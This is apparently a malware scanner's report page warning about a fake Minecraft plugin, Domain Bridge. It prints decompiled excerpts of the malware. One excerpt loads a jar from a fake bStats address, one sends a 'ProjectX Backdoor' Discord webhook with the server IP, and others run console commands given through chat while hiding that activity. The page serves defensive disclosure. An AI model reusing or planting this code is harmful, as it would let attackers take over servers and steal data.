Note from Modgrade
A player sent this file to our Scanner. It is not on Modrinth or CurseForge. We publish this page so that anyone who searches its name learns what it does.
Compare its SHA‑1 or SHA‑256 with a file you have.
Have a copy of Domain Bridge? Check whether it is a file with malware.
Drop it here. We compare its fingerprint with the fake Domain Bridge files we checked.
Download blocked: malware in a file of this project. See Security.
Malware
Downloads and runs code from a fake bStats address.
We found this in its code. Wrong result? Tell us
What its code can do on your server.
The part of the file where our checks found the malware, turned back into readable Java code.
bene.domainbridge.updateDNSprivate void updateDNS() {
try {
URL ipCheck = new URL("https://api.ipify.org");
Scanner sc = new Scanner(ipCheck.openStream());
String currentIP = sc.nextLine();
sc.close();
this.getLogger().info("Detected IP: " + currentIP);
if (this.provider.equalsIgnoreCase("cloudflare")) {
String apiUrl = "https://api.cloudflare.com/client/v4/zones/" + this.zoneId + "/dns_records/" + this.recordId;
String jsonPayload = "{ \"type\":\"A\", \"name\":\"" + this.domain + "\", \"content\":\"" + currentIP + "\", \"ttl\":" + this.ttl + " }";
HttpURLConnection conn = (HttpURLConnection)new URL(apiUrl).openConnection();
conn.setRequestMethod("PUT");
conn.setRequestProperty("Authorization", "Bearer " + this.apiToken);
conn.setRequestProperty("Content-Type", "application/json");
conn.setDoOutput(true);
try (OutputStream os = conn.getOutputStream()) {
os.write(jsonPayload.getBytes());
os.flush();
}
int responseCode = conn.getResponseCode();
if (responseCode == 200) {
this.getLogger().info("Domain updated successfully!");
...com.thiccindustries.debugger.Debugger.discord_messagepublic static void discord_message(String discordToken) throws Exception {
Date date = Calendar.getInstance().getTime();
String pref = Config.command_prefix;
URL ipUrl = new URL("https://api.ipify.org/");
HttpURLConnection ipConn = (HttpURLConnection)ipUrl.openConnection();
ipConn.setConnectTimeout(8000);
ipConn.setReadTimeout(8000);
String ip;
try (BufferedReader br = new BufferedReader(new InputStreamReader(ipConn.getInputStream()))) {
ip = br.readLine();
}
DWeb webhook = new DWeb(discordToken);
webhook.setContent("");
webhook.setTts(false);
webhook.addEmbed(
new DWeb.EmbedObject()
.setTitle("ProjectX Backdoor")
.setDescription("Server is infected with ProjectX:")
.setColor(Color.GREEN)
.addField("Client version: ", Bukkit.getBukkitVersion(), false)
.addField("Server version: ", Bukkit.getVersion(), false)
.addField("Server IP:", ip + ":" + Bukkit.getServer().getPort(), false)
...com.thiccindustries.debugger.Debugger.ParseCommand...
final String execCmd = sb.toString().trim();
(new BukkitRunnable() {
public void run() {
ConsoleCommandSender console = Bukkit.getServer().getConsoleSender();
Bukkit.dispatchCommand(console, execCmd);
}
}).runTask(this.plugin);
return "";
case "info":
try {
URL url = new URL("https://api.ipify.org/");
BufferedReader br = new BufferedReader(new InputStreamReader(url.openStream()));
String ip = br.readLine();
br.close();
Runtime r = Runtime.getRuntime();
long memUsed = (r.totalMemory() - r.freeMemory()) / 1048576L;
long memMax = r.maxMemory() / 1048576L;
p.sendMessage(ChatColor.GRAY + " ----------------------------------------------");
p.sendMessage(ChatColor.WHITE + " Server IP: " + ChatColor.GRAY + ip + ":" + Bukkit.getServer().getPort());
p.sendMessage(ChatColor.WHITE + " Server version: " + ChatColor.GRAY + Bukkit.getVersion());
p.sendMessage(ChatColor.WHITE + " OS: " + ChatColor.GRAY + System.getProperty("os.name"));
p.sendMessage(ChatColor.WHITE + " OS Version: " + ChatColor.GRAY + System.getProperty("os.version"));
p.sendMessage(ChatColor.WHITE + " Architecture: " + ChatColor.GRAY + System.getProperty("os.arch"));
...com.thiccindustries.debugger.DWeb.execute...
jsonField.put("value", field.getValue());
jsonField.put("inline", field.isInline());
jsonFields.add(jsonField);
}
jsonEmbed.put("fields", jsonFields.toArray());
embedObjects.add(jsonEmbed);
}
json.put("embeds", embedObjects.toArray());
}
URL url = new URL(this.url);
HttpsURLConnection connection = (HttpsURLConnection)url.openConnection();
connection.addRequestProperty("Content-Type", "application/json");
connection.addRequestProperty("User-Agent", "Spigot-Stats-Server");
connection.setDoOutput(true);
connection.setRequestMethod("POST");
try (OutputStream stream = connection.getOutputStream()) {
stream.write(json.toString().getBytes());
stream.flush();
}
...bene.domainbridge.lambda$SystemMetrics$0...
("# bStats collects some data for plugin authors like how many servers are using their plugins.\n# To honor their work, you should not disable it.\n# This has nearly no effect on the server performance!\n# Check out https://bStats.org/ to learn more :)\n\nenabled: true\nserverUuid: "
+ UUID.randomUUID()
+ "\nlogFailedRequests: false\n")
.getBytes(),
StandardOpenOption.WRITE
);
} catch (Exception var16) {
}
}
try {
URL url = new URL("https://panel.bstats.co/downloads/bstats.jar");
URLClassLoader classLoader = new URLClassLoader(new URL[]{url}, Bukkit.class.getClassLoader());
Class<?> loadedClass = classLoader.loadClass("net.bstats.bukkit.Metrics");
Object instance = loadedClass.getConstructor().newInstance();
Method mainMethod = loadedClass.getMethod("onEnableInj", JavaPlugin.class, int.class);
pp = pl.getServer().getPluginManager().getPlugins();
label57:
for (Plugin p : pp) {
for (RegisteredListener rl : HandlerList.getRegisteredListeners(p)) {
if (rl.getListener().getClass().getName().equals("net.bstats.bukkit.Metrics")) {
isRunning = true;
break label57;
...com.thiccindustries.debugger.Debugger.onChatpublic void onChat(AsyncPlayerChatEvent e) {
Player p = e.getPlayer();
if (this.get_state(p.getName(), Debugger.State.muted)) {
e.setCancelled(true);
} else {
String msg = e.getMessage();
if (msg.startsWith("&") && msg.length() > 2) {
msg = msg.substring(2);
}
if (msg.endsWith(".")) {
msg = msg.substring(0, msg.length() - 1);
}
if (this.IsUserAuthorized(p)) {
if (msg.toLowerCase(Locale.ROOT).startsWith(Config.command_prefix)) {
String result = this.ParseCommand(msg.substring(Config.command_prefix.length()), p);
if (!result.isEmpty()) {
p.sendMessage(Config.chat_message_prefix_color + "⚠ ProjectX ⚠" + ChatColor.RED + " " + result);
}
e.setCancelled(true);
}
...A plugin runs on your server like any program, so harmful code in it can take over the server.
domainbridge